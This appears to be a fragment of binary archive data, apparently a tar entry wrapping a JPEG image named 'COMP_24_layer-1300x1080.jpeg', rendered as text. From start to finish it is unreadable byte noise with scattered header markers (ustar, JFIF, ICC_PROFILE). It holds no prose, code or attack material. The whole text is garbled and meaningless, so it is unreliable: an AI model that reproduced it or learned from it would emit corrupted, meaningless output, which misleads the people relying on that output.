?9f_6xݿh]u]߉z?<=w.j M(Φ`-O ]R=ZߵzA I?噍[g6D.βFŒ5;@R!Hc[E0ߗ=VPeSLFs֓+0jI6Q:Opݾ\X`/":ƫ4U,22'yZ}A0y_#8ѷ@@!* @ T,:'=AcH{r庳ceI!n[YPkj03Ï`R17->բ:-,&3o\K׳"`.TLCĸU{ajIGصv{R$gQ4c.vk;D#eޱsZgHڇKZc߂[np;nyM"2ޓ)W{=a iO.lQf Nu/xرt6~Wzhv\4:9.l%{iPV\}NN>B*(4N%UT:khc78l@c>]æ_@a%[N = &LgC$S N|Dv`kT=k)Y$vXs4_Tt NNɌHtHtgl p[4G A iOpd N4]d~jݩ` m}X2WWL3y^p$aQts:q¢\HDzæcVcDBUBKhT"&1JƵ $HH40RpL|KTet6@ 8秉Y<^S dOku9$q۸AODs6ZF$){/?O_P`,UӠ /6L |>$wYupkz{'OkGnhyU]ŧiSC ^_ԺM56Ib]?ao:e{V#yRֹ,+Gz˻Hxn1z:of|'d Acھ78iZYi\wYM S_NŞ9V_Zsm t jjmht<[ڞew8ʪx1eoOIOƓrOn˅Z@`:u _ ͡t{s{PGu^F!g{k7M`#dk}'rFk3dzM,f8G++64Z@lTn u@JSZӉQxjK$ iXI2u J"z~8zk\#mۯTW Ӑ2Y\yoo?\xu^M ;vQ֝]UjLr=B]8+N-?f w\{+8q+>')u0M<e_ pn}B^8ʡYڝ93uRss猗oި759\~[(%>]a:@s%džȴ6;(h; #i7 oG*6s)2*i-.HtvY:sZ=iA@X|:Qkx .9SC@ B&0{~Cד?54z.;mx9vvג 9aۊ,7v6?&coJwjpcq 04h4HR}P54T:{(L8H%[/Ė­|7`}^9yZ@0?bZejc#cۿv=0Y=;7W8Fqت܉~6#13ʓ՚U@R.Q;Q06\Zik~= KRh2 (ĔBS)4a " eM CHm𙼥M ceI)e))Qʗ D 4@YäI  6qMM(Gf;Ќhjե lNȪVmZsW3nHvtI*[jF&uzC`k[k03G2vXb6LO %9f;`]v*KO@/@OL蔘 ̘!)|jkm|-KKFtK/G?.)R |prG>FEmBK1^n N+ѼM=10֖f}:HisqdweY_nQu_%ƟXOηi쾘O QhllқF፧L7C[k_<NѥwW+uLjȃ+*4#.ֶz? j$zZFМY}N#wBB4C&{TIEzu֋]t&F~]㈭dbQn]ZV:D%D?e3zjZ5]%LY1d*u4s{U)nANQ_9u~JԪ4S:r'Q[u*`Wort7\,`4R]ZJ>kuOP'Uy/nxJ94:}@Y>ӈHVg ׋ d ;GPcl1F7ԝBmʣ'KY A3\ޘ_?ʎLzu|O0y\oWT >Ƥā8﷧8Ql}>]<ʸ_\*N%t:NoQm 46½IIiA)SuN8E?&T^)6F*w,Lh~({O-+4ݐeL֩ck?OT!tk'xLtwxE`R=bj=`iMKUNI#~dnk$Mc(ql@'NMGQtL \d4'猫@'m 4|ג@ v૶-nA〳ٖf փ.1 9߷Ajpltcs/&@] ;?$n`-K K"ͭĘXUk|Sh2{R`8_+K2jոl=UԾ+>3G??˒ewQ ~\`+s.F84#nۮjT!7Z7A. 8XK<'+Y]2ŲԶ&r8A%Õ+JdN럛}'MSdkXRϦ[VRpkI ZlI'y͵Zuvi`&CXcic'6KeX-a&3{t2ƴ<0ߧ2c[O B>QӜ#Yv P~$c 4 l#Cv8F蟱Q|,@cr7vvs^Wqav!.f+dy gR'*`ÀIu2p8&vQkt0sdM`elF7RlΘңUސ +iA0wԮVV?n533q}hw-4@W:Y$*6N3+UitI6OI a39#UJ>aچ`mЮPaeu9?=wy{FyBFc*u. 'G~.##uMQvOCU=h$;^JϿc̘^}sRދ/+_z$ԟnJmɧ\ͭl) $p҄ &I$I$I)8A(Z UwMkiEkpGe$6p䕴e Ḁ m&-^<@R &JZVĀ%3"BdS r+T$# U tIeT ܠ$.RB 82~ :I$FI*<)p2T"%Xj7V2ʦX!Ҁ(p qpli& juu>ݝBR1U$N¡AډlVˏ7qzʱ<rIt\=,G &&hSwҐQVm\!74Hs̰ LEbH瞝OA4Y m:j6 tezu٢`/ä.P3O9ߑS-ofiݬ_\Se du3RpwJWfV3//5+G;@zʗH` ?ȣ-sWOT7U#}a =EhI+1 pSu}IsW|yqToL*.'/qB3:;J#.[uO)ۺ:qb}պ]Q̧{J%1)+MJYڌ=WԟQaq 2TN R VNif\r2XQnX׽y8 >'P"ysX!lPLLSU ZaFf2yT7EFyEwEW6XKZg0+WRjz혦z}64R,3~7Utz$Z<mݱɡ8ʱm*՚i;|nRmKj̉Mv./,^Ӄ^_xfq+립CqJ+]O.ۇ ;ɕĕ\CH;kY2ӱsGM6Qe@`5U@:{Z0@7nvYJӤ:uxh$w]mǩ&$lcq&.i=|]{b~ʡ*U~pZLtѣP6+vw"Df0&jRzf޼DaXfwH m* ;e\ԦEXzfdT(l=NiKŴ/nAiذftBܙGd؍ NG#ִE靛 y :Y*ݿB} 2ZBEZ7btT )|"F29R> `&T'V}j8YLqkZq;V(#Eы\zAg߲kX +N#mU\b3*W/gk} ^glm:xqvW.q3[nS@.xk_NyYG/tV?ڄYnid*c9JF7 NU}LT8j3ا4{| 8 x$ Nݒ8MZupp≨ IxBfs^AIۙZuFC;9>V{_8vn ~k߂gW_-K$J㮩g2` L2񭎛K$piT\WeSt[ I+EC)Lg1 0RH̒tiR7 D=wG+ %\eeLTu:;!<'|uWQպUFzj5 '  t5zi4d3.Y+ &3x̪_kBci )1=:Z=nwT٦h$rg_,o&=NZHWT~oFLnoٝ/-mV )NX'N]m_?[s<OE n׿1,p)ISqs8D`뢯޹h+t˰AS$~.FcvLf>l~iY]dg% ͕A_]gHIy*RY+-a4dUژ\h;yKg{ԜufdQn K3칚&\Cϋk2`|.n.[ž/ ;Y丧.ޗ̙yIOD5{'r )6)MKJڡD>K#ChGz1gA%] 4(W  p߅w߅a`06Ej/L.}:LHN˃?P̯Bi`yE[.01*Zo`}BL-Ji¥Qཱ@=y{g1]#K rVtZ6G?55;{-E7}Js$; `Wz{XϘUdtE V(f8# ?4H l杷XҰ v$BISS1pNҸTqvA ҄Xb:l9 "0v-~6 `&F;wSxM26v9ʹgMY>Ȗ\jC qӮ(6u]:&9 a5C@'?8FtǷX=oWkJ*CY#; ۚ/~?-38m.ҮtNYp܍֐{%7ymHh=}i\+ۻH Lj6)ܘ]۟Ю~y_(6k%?=8NkZl.tCk[[F 4{WBXkejph 9Fi{zUlT(*Gpur&P+Su6oSd5!6lzeoj8Y[Y3vWzgbhϤ9zgMsx`yzYu&~& l̮^lzTU55u~LlJν""MG ׀kb=j3ʯ^Ne5j95o xȇT!qZMvu PzyZczf@mx&ɗ/vR'.oUq- uGZZ,򛉝[Mu$9 e t̳׻NLy\[uˤwZww 9[AhIt+alOʩixq+^⃪bCGnˬ}bv]B1M`lTE% (ˣ7͹잝۳!enM0wv&TOUp!vq tfҺ-{e6:K%qtOrA JOa.^_ŋYWTy. vNyӪ sY]zN|S/os/^=3s;:-{H,Qw[7s$Dmȑcu&S2k12H*Sb$n@{Me?&ݧ׮ t|ķkW4Ӥ8HʜoE1 Io2( {D.wѭPi x$Ҹ*a]_LyE|'_T@ه5$^E@4bڍ!W/gۚVkn*FYQ2Xwϖx24ox0ZR9?}1Z`C ?ť'էcQ2/ˎ/nPr :o6rr%Yڌ: ՝KcC^߲饭v}u 0֓ǿʿb\`R嚉Z0 I*X"2QS;z8F`/>_ru:Ů` CN7VzYoya$^3ӏwpA#tљJMFNQ:e&ռ`&Dv}Ɯu ~$}:2HOS3_=?TfZ>1̍»Z]Pptp^\rLe8nnÃ\ +ZtL1^ԡIZcR$4:E\ &jˆ| ;#Sdpn c8#2lE_J)x>\*T?d0gTl1NYrpܻ'0=m10곜HB c>%ˉdjK| $MApǗӧ@؞ЇoZbƔD`FkCuwL6g\wO$ 0Cۺ0G zų[tiVE.{)P0otO'KGH7Di4Jz|~_I(;u52I$ M4$%$I g Kb)U~eJO.ʲ݂Yd<w a铕IB"oj4NnAN 'L)z88TFSQԪ?L@'1v̹2%U' FS<N}F1Qp=S6B^B) )v)8I&&'< Pw FQhHO- @]#[0ըPIVd D wiJi-7eZԘLT P0! F1_otM=XP4 aV ǦF3 J̍M dsT ^Rk)H6˖2ER鮬zG׉G=bWEӨ3ȠKA uWS'P;T;.wI$H4ͶU}t;vHIN;äLD$AII6vq)Fa|k{ ʒ@ؐ*vNtm+~#d0dGB0=M'+S$-F % 2 MG}EFaL9U{5Ș-e55ZIZg#@ *uI: xA.0m?=]o UЬ]N@rvW3r"A2xZmCŌwT8^jX 写%x ר <@iEEOI!aӆsJ/:Sw!.+C}wj &'IYxH8쑏%8E3$V?V4l7HE˷hw(z`t54JuQ(I8^Ӑ$$Jt BQ ɆɂBI$$I(@(J(I$ $@$II$I$ vUa*G )Jdd섘`&)۱SVړ&I0I$R x @O &rp4* RV}EZnKVYd%=<2(;6bRJ4oRy-4pP2!kN]QIW-}}$(s$(^8S90)Ox&rp }rhHa69L M)-JMC `@g)O pϺBGdgIPv\SmJgH>u .Xy щRe@ sU5ؖ @1#ZsVI?ROxkj-D;]7Ox[&p;s{ȁZ>xHνsjJ>ܬb\&?D {R '@Z-wĦ5j҂䖎1R?Zk:JRI$EU۲3 6!i;3TB-p8v!Zܚ UC0D T Bc%==.9䄵@- wR iL%& \S3FzrUC^SK#Vr-& .hUzn8'9E_B\uv# }659~ˎF.;|I-.$\ﶓlNĞV[aQC>˥VALB+3jL" ɑeFkA'8>O1Rׂ~تM S;pḀeR}g.᱘KS%Uu̦`h']Uʎq#(veqZ5tՀG Bړ7#PLO%V4B(HF䡾8 4 E=#Tɍu}2#nPi@vF\YOme&U.˵iv>PhyÉ"Ԥ H"=THZin7ӺJKa' TM1۹dDט.X_POu N5I&#`1Ǧz.&60g]u֊ 46;,_ Vf@ȉ*8UŤܬ2ί@1 8F*[ KKjS [I!3[cK'J$Ja'\Doi\`}po3#hX\ajy8Uӵrj w *6tAJީ4%vY=j8ecq^<\kL33_զ-G &jȇ'eÝq#K¯XVh3VhT Uʗ#Tmͤaȕ Ұ2Ɲ'wU)* {9UTJH| (9 4 ȓ!1ؙ&S5<{u˝\L;+`4È_YSitFڈWjt.ǖÈUz`a;=_;\MepKհ斝 %{CZCG|QeBL5bSyv0l^>T =68TԩӯM*Am&Pߺt'zZFmxc>X IRP8HV5Q 3t\Ne§TIUDp =TZ^u\\laXCq%%yu$Ώ4 ^y'LNwLI2JUT%CHQ' @:I:$RLI$$$dII$I$ V;.V;p)2 =& 'LTӆ)I# EH I$pg!GjTNԬ<ՀNb!) xmc^W9KzmZmh/vңo\qQ8*7H\"S$m-ث4Y] L奲Cf%OjpL&i *{( T nS(Nӳb9Kd -2D U;Ms6a $V"$)`Ub" ,.e3P8XMkFH7\\!0>Dŕ\Դ=.+RRm's4˷G܉Sb]TMg$Rk΂;d장g<I;0 A$9 Msfy;Ցn*fT(vZ; w5W9FA6ȊsdIƭL2Aaf ~.\ A\`K%զ &6S S?H6AwSn/?HhOy@Eu $HƁcsA`F1 ?ZNk\%`pJٮpp-p*?a{$sQma0 Vͤ] Zr~~4y~_U\4pIx:ѫTLF&ԏuׯfi?~<+ z؝ +:8;7QƋu~[-츘s˦Q8Y=uA ֈ@B)Aa;p'TxO׹NX7.FՌe\H(Si;)WJց @D'rD 40$Vai cw'? v}]>057l.0,:9=߂ swM8kvZ`߂0B׻H$engHlylc\}Q$4&] Ni7JCsE]Ji%Sm79QW#B jzAQsEiJO 5k[Snt|rMe BШiw*,.7d&y^R~ɘE[^ӟe_U%ҡp:E$.N8)mqdyNKt逄$H=ÔtJI$(I$ I$ $&@4$t $@$II$_wV_$ATQrzg#(9H}E7A"Gt`bm®͑/՜G(aIEN=- I2>ئLєkF7XxNœ!e44S0Ct)B•JBzrp4ր2UvH'# }= }pqMyWEe1Ѷ cw8)vy^`hu1R\;7mGiTpAX͜5Z_H30fszH.ܭWgCZ88-B4d$@VΚ`~occ ɓf#i dS`.$:gԹq CL"7Mu<}& E|X msۧ8WTIL" !@-ߑ(կ.$@@LwCG0EդĘRHLbUՙ#Q,LxqM$IZ˽1'm.z"doIA]dFa=,-03hs1"b$畛k;2=r{'NcY1n3Yat="_ apkҺF[ |0~8v]#.\*oG4Ē[c~VOQ? TOpR{ w%yg@zJq_p$Zq&_Br]xcZg>bxvc`+x n$y#:@v?V}Od`nӹAsFH06V]< cKZV yVmwջWy9A ϤwUA)\RpJjdMN—pe g(0ٗNVV rOs.w;@T^pBFpčgsPTD` :N.d.K(즈\1<5-~w]1; .qԚmeѾrS eFcCdsvY]Jʛ{q)3sLUn`|)^譑$63STeջ/U`R/ SCQn,nYxm ÝJG7Nqs xcc s:eJGQO) NݔI&4܈3TZE AI$LTEBbTJ{#Ni#F$e 3>ѐNUCrONZud`tj:kFy˓iێ:W 3 M’Hǥ& [L?bPW.3BE fN2$vd fiT*S.%BAhʘb6AjHhkyƢ->ȵj^BC2ܤCۙdA{b֓s{C;Z|]Ap*ME uj֙ܥI CL;$6Anf%i2rR BJ"̔ -ѡA@Eoe ;7NODzRm38 RM-9 i쐖6᲍KRL%TǨ|9>UCn~kKB"LI88W)Pl(R]p]`lNO;)פR88-OtsyX{8䮶{cUraltV6T An)7Qp&BqԪq$ FZϹs3C5$%TN 6H6?9# #Pyn:@k_[# Flo4@:!]Ӟ . Y~|fʕ]-'H2'eM췥H쫶ޕ3N}H19J5u:tO%Pqf i"\cIݛQ8X3zDp<N`i$7v Wr3;}..pyUv8TOʝ?gՏHw#I>efHęY Cs2Vu4RnsZ@-BN85 CQpyiA`qEAU 3®C#0! iAp*j&2c G.tdGKI9*+,')Xàm\ؙ$9DժNWAqhh'̺,lJ pZ7r\ U*$eV?9ӂBcP=hH81lRtB57(Z°?T@T*D=TQx V&LٵD|:O2#V⭨xh>z-Ni3HD)6[$;$-: lF$ed6smaLciYRi@z菅{Qv8 $fh/jd \U*U`:0G(rI.;((zÔq(jgV1|=cU^nh֪֞dG~>}=wR2QRӊuMOoc􇶤qU`,rLw^82E@!&nI;&OdH$U=I$I'M)@4@$IАN$HI I$ Sc#IDQT)۲Tҕ *Iqra"Rl$H (;*j't(RQbʧIXJn! SaAUrvOu u gCR?5?j<ʂ1Tɤ`PT#cH!H0$Di!$h4299 Ȝ:JqpeSiSM #Հ@gմz  *\T*(*"1 ΑN:]C=Emãw:ȨߺXCNi}LyD`BZ0j0JQSޡ¿zajhi)u;'T5%t-)Zd̕LӦ̭v k:d T$4D1۹Heʋ~$ $2ЌAfi<2tT>fT NUZ/c BU@3rfS*ظm7Sng1̉ʯUOUe#x{fyO!wI|(5b32G=RB)5VXj+HnǦo\~jhɁU^P2uNWIӿSHȢgT 9gxFn=:ڔNs7Vnz=ͦs̟.heYykݖz uu]fI-'ܨHwIdT$DFH$#aI ilDwH$i5%Ήr$ T( xҩQݽ[.h=AVuOb5b=uxZy8UPI W0w9cu&wB2}@J kDkqI%3`5'(wq-:IL6 F@gpA3 ֌91V9m#W~[#FHeFI t)"w9<ӪʕGyW*Vk7tΐ>ȴkĕ44i$ꇆ.kDck 1 -|5R$hӠd-$n7 NJOV@ьJQoVL~H'62qtZ2pbD'g"; ~fqheޟC8Jih?t cdZ϶qx$Gīv4̇@Oaމ"3XDz ` qst)OKpƒ*/;.ڛ 8Y5mDxL**a(UGQHAV  "Q@1Hqʞʁ$P@U^AygdT`zMt#deuK[$lNB:k=LrW&' >]);.f<&21=ihIVZHÎ,-DAE& ??'.Il- $kgUHH#HZ9ռ.%} 3HQd%'!b"i[ nZ'(nFw$xI4!sIh<㺭^2\J8%V5\y us]ާIPxaP{C%EgD4r*Ϫ$Cx i?4= nI8*"g^2tYI$U@tq!HN. `P4Qʘc5Fߔ"rWYkӒCuʖ!]oT<`!;>v !q3M4/ܑ^k)w7493#<(I|u }K۩E/Qtsb] G}HN;a M윂0B YJM6:C)70c$&vR,drS>}@wR )% akNv@pݓI'$R !5*jl=XH 6> Bwϲ@I7NtF%]eMTN"vVx.QM>ʵYrGҴ.-BzvS\ 2D~MqA^;'n0ρ0S !om`eӘ]nI W?sܤڂuG 6ܓR6Ś;;U YLk6ZVE5kkW斳0gcimSPtts^sNpON 5];|}ꕻ)!晕GS{%5!5#`MiJj $Mj0 CP- i : 6ΑHjd5L= r*nߕ;N^m"xwWL !ZR٭wr6ONܸqDLIu'mRMl!6tNx ~:LDzUmS.rn%?4-CK1rZ cd{vUi0;IoXt6w oGgNuF9WI2C1"F?QIpuu.^xzdhs}@desիUtDl=R F=ԋHf`l+I4[a-;9En!o$32y:dnާ;@-1g o0"O:#h2O.D!d "$JZ=P.“z` Γ`ƹ#Qq&dzWBA$7Ц[#oT-PVG?j;-}Wtjl'Jռm:. "@C FJ;. vZ~'Rݛ͹Ē {r+Ecd!IFgҖMx}X|(mӣ|vHf,iY1h¶ *$+TWA~n A j+isCvIj$݁8t{r)BdvZI4HI I$d钔H$@Sp:RQ)pɂr$@8I0tLS( 7u%374y*ՇaFCZC;J 06RtW5SPA8HJȒI$ȒJ mJKq@V(k? 7 ͽI)lS2֍BmH1TLɎ"I" znc (6tgdFU{Ηn~֏rrfܨsTc IbV_Zy.-rL Te:T8+>ϰMn֋VD8\g4 @X" ؎OqmfQ$1'nG#۰@ 2DFUZd QQ)m z RP*=aSY:GNxߔ(FBAʥ3]P`$f; tlugrV.͚Dew5z@$ N38E18T϶6_\jt(=2; #ec:mppZUF]OQL$ QԟA+:iT. _)xW l! ,pˣ-  J7NLvP׸d ]4 "uq2 Uټ tlҸf'3R^[PyHҖeUn#+lz*5ê7ZUK;7FsYmʴTax,iZ*/{˜F+{y1E3|$Q|5 +5yoXTsEB@ v́@grT/L{KΪ4)`6#<*@z8:cuTXi@k"G8xH˪I-t4Z <& .e&Z"8F$D~60]3Hx?q" Ng54NDr $ 6L;Lm;DeD%ZZ$FQ&g ӓp$C4-;dKH9&kn8D6@1da#aZ T-rӫV7GFAF.-0&4##}֗M87(!AuNc0N? =-Q \ẋf+Kɦi"vݍlɘwd:G0 i0\}V}\ QN@99W:V !Ud8BRs )t;65#KtLS2mj$\O;J6=0~3w3xv%Va-<+VnbGCNp$},]k>P(͹11:NpыWPpN>BNy@6C/;Ifd;gdsIPtT FmLk##?=VӀ h< :&4\\4@6#m&fUSctƘ;u97j0aExP%I!\ i|t6Qu 2Qs鏑8)W9#eiֺ\NI>- bP$郞(1 ^ mv 1!3(ʛ5]cWU(i0CGr}=R' 8U֗H3ym;{ 3oR ޡAnz}j`26^y1;-1Tb+/%n=^-: enEÕAOCcPD&D!DI ͵keV\ռNJXӂv"A5g(YA(!M77JJ `6*ͨAFc-e2IIeI$@}" Ju5sdt CLI l%) I$c) O`a)@$L}-t!G:d/r6ĥ*h$JB$)r6e:qu% 'nɐnJ-I\d--+2K#0¼YdO&2FFK;G- >juL!6U;J1s0 .j D X MiGe1 A\`"Se HB1Vc(2ѝt#1;!"Mi̧.)t#T)ADI `}*T38Dhh 5(*S;=ʫwN+ifls\k3 0ЫȟWDeǨlH$I[f 5`̟d pTdTA߄!Wy2F "xF]<`t~T2ap 6LBJ&Ǡ<,w\1t֕ЦٌSˤ^ځt'rwLs3U ";G3FͨIB-0TVզUXfi'NbO*BLV>%J~Kn"~6R_:[U,*B_eYۦm iBLΈUPڠ`)ԼK.xB«Ku^:]?C$4 K ¡bI2k<մ/seW@l $++Y5]D'QvJmX9IrvtKID{gsӿuͷӠ/Χtk`Ɂ&vAJ36?eemSNe@5A!@8z Dnf5bɃ9Oi weuZ|6ATܒֶvN;C`YaGP ͩHK€I[Z9fV9Sv.Lo?Ii "itrkoGh'`Z5C 2}AaCیd ik^p%Qq,k˰9"*5 wG{FP0DCF~G1jlQ@Z[Kfp=YTQL)h1 vG~mdƯZgt'U-lN4tP*Wqd*\Ð=9Ʀ'ouΗH5ȌNG(S̒\#yNIhTMG0; DQ%J\9&c  nj~Pj$4#}\48LvLw592b 'i pm38\e2Zc6t>U5[Ul:⪀`w p!8(aLLɅ3ddV#(S%L6Ԃ=@*,Y'hQpAT<ȩ/ T:lP@Ef\k\nFF0$I2$ BI&ttII' 'L$ANI$I$ $@$ҝA aJ !#:d/ܤܧ;)$7Ri%A'T<(8P@&좦͓ &W OdV W,Pވd$YrRrl"ѨpOz}$& lRL0&w#Hu8NJwIR %IiLZ S~*nAڍ‡G06Hkݑ#e0A.j dT*qLA*lhq'M H<1Pm&5NǺ`3p *0T!A-HwoRc G $j-~a I+,brwbڠJi:mLxY3ˠ%s-/MJkd$t g'8R'Dd$%>e9 2G)iR0Z2+6 =ѮWuM 27a EXW.OET ,XZ`UVJ$k8M}Hl0"LHI&*A$)̠#$O%،h'tfPnȭV+&TYrv$TDLv@!jEMSI$e)$$HI HI I$I$& Btdj:MT$:bSd*B`JQا@2p8 QHlSjuqEnB#7Wwa'Mͪ;'쟔#&D4N6L$*Cd:L'R&"$9R`$N56L ֓Z1"nPD"L) 1'}@KHI2Nݒ 0LQ!Dp4tڟ[PqPi7S |") % #L}?e1 (Ȝ)cy(.BsHwnUJ[􌪶Bj~JD*,\ȧ쨍օ!gZM1{[C>K]仿daMg^  Ï*v9@ $$[~њ7b2"U>|*C ꆭBұLYMlYE @ا7v#@zI9fVY}e_XЉ'W_S5 ~ML46D蛷nI$,-dҠ4OpjRCl D3= ?Ve' # .qdT m; 2HLCb{)S2%Skc[ˍOͥ1PS.vP:W"8r̝UKqoFU,yv KTz-C;n҉.A "X5F9L+0 TT*#ԂvsM ܩSFeYH*p5LFi`慩\3:e;% L^O?€+;2#$ou*g);w@Z8KP3=s' ւ7$DkUA9\ b;%斴b=I&I9d= 1*;T #Ԉ&pFHuI~O .`c(>Z@-T<Pvs uˢ 9Ti3ID  NFBNuUL;dN)˜H3¨u_&g' ,ycQ&5L(tt'dka=%qfx '} fOopPct)"iqp+~ǙU/0F0{:U.2:&7VbI8B.:U)INƴ8ha\G{eS ejٿt@9oh*WtmJn\\}%P8FH kέ7TWoԤ xTdT$\Lvideo-media/COMP_24_layer-1300x1080.jpeg000060400000373141151724237330013133 0ustar00JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprthQ;(6gj`FJm9* / dsmY#3s>"hZ qC#Cy̏ =. +; efdkɽtiQݟ\i5UN =lGɟ][M3jƠrw<.68]bG'VH 59og+"*yi+JCd.Z.7@q K㲽Ӛ&Ka)ZNE3K kêzGN|uGysDC71DxXjn쿺XGI!#qqAfds;p )RMJ^~ֳsf. x%nItʼ0&Jrf@R}&m`jr8:'Q[xޱ~8d'J!%tums(Z?=4Qwيo܊Pe񥹜sE&RqVTm] 7KHph·$ʪUy.AtUWt#*8PfI"XCFqCŵ6pe {WJZӦ}}dMJrbLMHI!}xT9(vdԶ&Q$ )6-I6&mM%SR#I!#r0$I L2d LjCI BG(БmmO- ''@Q@$I IHRDP&O)I5"LjCHKrq@ C A$<,;7xVVMkKƀ$ڴ𱡢X-+#dY Vf6>GkObiT.-"`iMfTJ?%f93I2)`B  +׉^[>JXDdsv􌗈sfxdy׉7=Yb: 9YWO$o&n̩QmDͻ /eX'H16V2F7Q B{.괿]f4G7giYYd._|M C)*5|%wb2GJ!85 !U6֋t~qE1SVZ-hXCiJ ͽ=7iw?LDb=Ҋ!73 Z,i+\_7Bo D?  BhEԀr.iZSBHZ< f+">-oc`_u:#7J=hG(݌!ք㽼v t !]j>fP;GQˉ&4Ԡ6ॎul ,ʖ&F xW `unj+IJ&8{bGmCLƎI"zxN@h.i)òٲ4P?9 i<8wP$!QdEp$[x! )H8H "ڜpo @I"S#MHi2- S"#;PㄐUKjb9LpD':dRN L$(OjDɠ$Tjh@O81$t$ CDZ`L!8(t A;Sӎ 4HC|:@ ܘB@zC|& 'B$N=N{L1'&@㒜N:d QA@9w)62jNt@ژ2#`Oh& R#d'BG(- RaI 18N8I2I@ t&Nd#&ڐ:d IHRD@ HRD$@ie"߹XH Q4U-7wn⬿c'ff I&)鸬#&t4 V10OU\p?[h9E!b4`UcBi{> O- ϕH 8b-Fhrz {Lz#\˶mR8}x}DK]r\܇݁R<\dCMP1Us\cE@ϨڑSyaL!$t}m2IIY#n#e@3!4{N" qfFMTb I'IDI@qKvl Br:V'3 nuLttaҞq4ǂI\KC}ܗ7r}i0>dp@r@,=1,eZ:<8ltNrS1fe2y=sL'P'͛:8JJԶ +p"ڕaMtF[ՖS3^T9AƂIkM F7g)s ?*y)vvDlL?I,ifN@7+3Y*B¢)=|A~c}_7&cwKW縹Dz|!8:9Y:I$F>pm9Cs9Ȣd|pϙj#B{^5&N Ҥ - HPR jERڍ5"DŽ{P@IxF8BG(mB[-m@${S Di"=@ tRd MH ڛj4ɠjHL@&F@$2` IHI:dI$&  `$I*I$'B&NdN:@HD2I I B{D`+D4=%1$[S B{D#MhiSMH'ڐ2H L$'LG($jqI$ I:HNPjC$ 2tctsDwJ$LcxSrv,x^6)+ǚFox6duFc \:rDMDAW~[L"3xe% $tMcE;vUz:AWzF&8x;h.#678D|.C:X)h(8m~ .bFoړ'};t1ilz!9x܁k nY ITN)qh bWEIƲhÈv?KNPiOhp卩Ae?RHBǺleU:=.Aa>Sq`6&"\P;jY18pPfpo5yN$q) '+F~ҫ94521 N- ?FԝK'@qW<Θa3Mgs+'a䄖?l?zb9E%~tO6R}m@ڛj-@I <Ԥɠ#MJJLx(#ŨIH "LG(!H$&S"Iڜ$(Rm@ &@F4 zI>v*I8$ȓR@2Tjd;RDH%Wtv#H#IW $OhB$$I5"R$N L$'Ld Ij@ HKyFhv'S@$ڒ d)'LdH:II$I J&@ 2t$$'I2I@ t`I:JF2A:jӠ$ <q#l<ްlJ_y5)J$ϔNN3j LvVdw^^<.ŭT!0us,=..÷%,L4;|G&Md:=!yϩ/?KG 6^F4́B;^n8+7yT)Aw9Tmo+ЋKl.9gP.R-Vdy8/]/4F[dypZפ3a? Poh>+2s ks8KhW734xV#L u۸𙬳aI[ ۸S8 ʴi;e'`8W)Ҵu\ó'ѝGc⩲+.]I6I7hKLQsʲ=:O\&$S9AHLhpw&QځYVS"*r(•,N-㔢q}75>IUivRя-q!.VcbrT0l+fڏ7H4t)r6Q ?Ld:@p4ɡS;XkcG^c6S eKR fr9yyApp,roH # z82)W B-GWԙX-7pewi2do 2ko)u̼nR@Ph~E0o#/NΨˏE Rm9|(4k8;s2,qKu<9I4WI٢"1hXGm^dR49#rp9 A]&9|b=d*'pҵߕO3ITm+fa(DtA!w|!ki9yR4E#O.kxkz0c(4S.G[!$ '8rv8i3cuK9& \wFӊ⭗Z8iT/VYo.'? CإfޚIf6M$&^#]T;)v ߏ:q'-g`44ItX~Ly^DXL:@)xCcN.,vjDE)`q6)gC+G*7/Т&MjɒH$GҴ^)'I*N ږIRȶڄCIt v$$G2*L2$ɠS#%$HP!OIjm)"ڛjG)&# ȓ C$*@ IH'ڒR!=B5"BG)N8J2tD b9F &T12$ԁ IMHvjdHT242d MH)&ԙd'I2dI&ImI:dM٤I!##Iߺn$)R$Ԁjd[R@t$$'I2I@ t2d[Rځ0;B&6+^ Jl)UƘ62t&q.iθ:_-4?%_c8P0O6@y?^f|26U5n#oK7rÉEY~,ƛ"Mk(q}.G&lh07a7"sJ6?v JN4Iz3$ycW'3qUzX\Yߕ徦O)BNǙ 1\X?z+We:6G=~V0@[&ԩp_᧲tPi<ه5-[7=eI%/WT171bvڧ#0qcj\^.䒼 E lɷ[ WG,DZE^:@8Ue<ZFQ{u`I'CANJV3o,ѲoAj,աȒn 3уpG2r +ݤIjSFN-v ' hRd&NԁaW *S"NBZoTe,mI=z,i>W;m*B2=l GH HpJ9)ijwXZ g)Ѷ$avVlcg PvZK(L9 =Rn֑$1IJ{jb{P򽋣[R" IdmI H6 SmF`G8b$㤩S"I##i2tcDG)@FP!RRR="B "=&))ԇe%&#d[(&@I:d6 ڒ*L$I4dhH1I'LɈ:TjTSmB6E1!#*M;Rڟj[P v8O8Id)'I29F0o HB`$C&c' 8o ' Hm'I"B{Fy@M!ܡMmW9tO(k'Y4LܞxwiYm27 I'O-HjF4$)b ڜpk(SR4'SqږIMmN:Nn qm? 0})2D{H==|NQs;`!c~]*E|oaE5RJ$ +ÞG>Z1QTT~Jإ +21@Wce )*!xO }; NppR}gicf2G|(gWn's<.̤]lIT߈mi(C!tߧ#NОF<-3[ RZ 9;nW$4`ܩTUK(1'y*XMTd)oGt/Wf#CUZ1T%\ڐjp&N$4kQ F#>Eqj[TKpL(2+conCt,UMrF7f4- G~K<%4P<ɡ \I=rWBSߔ19$J'e<r~F m\x׺Phi)N'{RڌW=3MJR;xA-6[Sb#-&RmRG vmMI '#'I2I B2 Q&#ԓM"L$ BG(ȴ jHj-vjd$&ILG(2"Sm@ >Ԑ BIIdH'MI2= Ib9L@m,CmM*@8>ԇ@!$S4!Kj"9M02$H&ڒ}&$mI:HShRUg`ںE0]Fs4W>LwG3;a"X:*K)ۈ+ "CGs֍@8 CU~e2e'|:Újn9Yfz&v絩.F2W+{zVޒN:NäL:HNdԉ1ڒ[S$))#h) =]8U@) E\ w`pcsg_ 6\=BDž&6/,J.xusk*dW_~ird7erT?a5 qXHE%ZI$ul#&-X (qozB3†)v2g!h.ѹ5㦹Ѳ p|,rv_KItEhm{8:H~W.\&IpfxNbh]o %Hi܉=$;HO*B>R7Uhir[TkܢAx!ݦy 7pJ͗B f21ӎ (2X{T#l᪶6Hs+&ͥW|}Yem͚DgU'n#1a-JM-cǍэfqmxK[/?r7Pc%kXlha|tMVSfcO !V<̯ZjL-~ScK#Pȿrw)L+' b7x 1Gݹ'jZcR].XTd1A+{q!lu$@\pOL+4e\Z#GU<Bڮc^j"ߔn@P.HS(;B 9V4)5 vydvִڇq?Is^\;;h 